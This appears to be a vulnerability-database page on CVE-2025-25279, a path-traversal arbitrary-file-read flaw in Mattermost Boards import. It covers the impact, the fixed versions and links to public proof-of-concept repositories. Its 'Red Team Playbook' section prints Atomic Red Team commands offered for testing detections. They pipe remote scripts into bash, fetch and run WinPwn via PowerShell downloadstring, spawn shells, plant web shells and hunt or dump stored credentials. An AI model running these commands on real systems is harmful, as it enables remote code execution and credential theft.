CVE-2025-25279
Overview
This vulnerability is a directory traversal flaw caused by improper validation of board blocks during the import process in the Boards feature of Mattermost Server. The root cause lies in insufficient sanitization of file paths within specially crafted import archives, allowing manipulation of file references. The affected component is the board import/export functionality in Mattermost versions 10.4.x up to 10.4.1, 9.11.x up to 9.11.7, 10.3.x up to 10.3.2, and 10.2.x up to 10.2.2.
Vulnerability Description
Mattermost versions 10.4.x <= 10.4.1, 9.11.x <= 9.11.7, 10.3.x <= 10.3.2, 10.2.x <= 10.2.2 fail to properly validate board blocks when importing boards which allows an attacker could read any arbitrary file on the system via importing and exporting a specially crafted import archive in Boards.
Impact
An attacker with low privilege (requires at least limited authenticated access) can exploit this vulnerability remotely over the network to read arbitrary files on the Mattermost server. This can lead to exposure of sensitive configuration files, credentials, or other critical data, facilitating further attacks or lateral movement within the environment. The CVSS vector indicates network attack vector (AV:N), low attack complexity (AC:L), and requires low privileges (PR:L) but no user interaction (UI:N), with high impact on confidentiality, integrity, and availability (C:H/I:H/A:H).
Solution
Mattermost has released security updates addressing this vulnerability in versions 10.4.2, 9.11.8, 10.3.3, and 10.2.3. Users should upgrade to these fixed versions immediately. Detailed patch instructions and advisories are available at the official Mattermost security updates page: https://mattermost.com/security-updates. No specific workarounds are documented; applying the vendor-provided patches is the recommended remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in certain versions of Mattermost arises from improper validation of board blocks during the import process. This flaw allows an attacker to craft a malicious import archive that can exploit the system's file handling capabilities. Specifically, when a user imports a board, the application fails to adequately verify the contents of the archive, potentially enabling unauthorized access to arbitrary files on the server. This oversight in input validation can lead to significant security breaches, as sensitive information stored on the server may be exposed to attackers.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could create a specially crafted import file and trick a user with sufficient privileges into importing it. This could be accomplished through social engineering tactics, such as sending a phishing email that appears to be a legitimate request for collaboration or sharing. Once the file is imported, the attacker could leverage the application's functionality to read sensitive files, including configuration files, user data, or other critical system files, thereby gaining insights into the system's architecture and potentially escalating privileges.
The real-world impact of this vulnerability is substantial, particularly for organizations that rely on Mattermost for communication and collaboration. The ability to read arbitrary files could lead to the exposure of confidential information, including proprietary data, user credentials, and sensitive business communications. Such breaches not only compromise the integrity of the affected systems but can also result in significant financial losses, reputational damage, and legal ramifications. Organizations may face regulatory scrutiny if they fail to protect sensitive information, leading to potential fines and loss of customer trust.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating Mattermost to the latest version is crucial, as updates often include patches for known vulnerabilities. Additionally, organizations should conduct thorough security assessments and penetration testing to identify potential weaknesses in their systems. Monitoring logs for unusual activity, particularly during import operations, can help detect unauthorized attempts to exploit the vulnerability. Furthermore, user education and awareness training can empower employees to recognize phishing attempts and avoid falling victim to social engineering tactics.
In conclusion, the vulnerability in Mattermost highlights the critical importance of robust input validation and the potential consequences of its absence. By understanding the technical details, attack vectors, and real-world implications, organizations can better prepare themselves to defend against such threats. Implementing proactive detection and mitigation strategies will not only safeguard sensitive information but also enhance the overall security posture of the organization, ensuring that communication and collaboration tools remain secure and reliable.
Affected Products (4)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Mattermost | Mattermost Server | All |
cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*
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|
Mattermost | Mattermost Server | All |
cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*
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|
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Mattermost | Mattermost Server | All |
cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*
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|
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Mattermost | Mattermost Server | All |
cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*
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Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (3)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
numanturle/CVE-2025-25279
|
numanturle | 4 | 2 | 2025-02-24 | View |
|
AbokorMAHAMMADMOUSSE/CVE-2025-25279-Mattermost-Path-Traversal
|
AbokorMAHAMMADMOUSSE | 0 | 0 | 2026-04-24 | View |
|
Abokor-creator/CVE-2025-25279-Mattermost-Path-Traversal
|
Abokor-creator | 0 | 0 | 2026-04-24 | View |
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-25279 |
| mattermost.com |
GitHub CVE
|
https://mattermost.com/security-updates |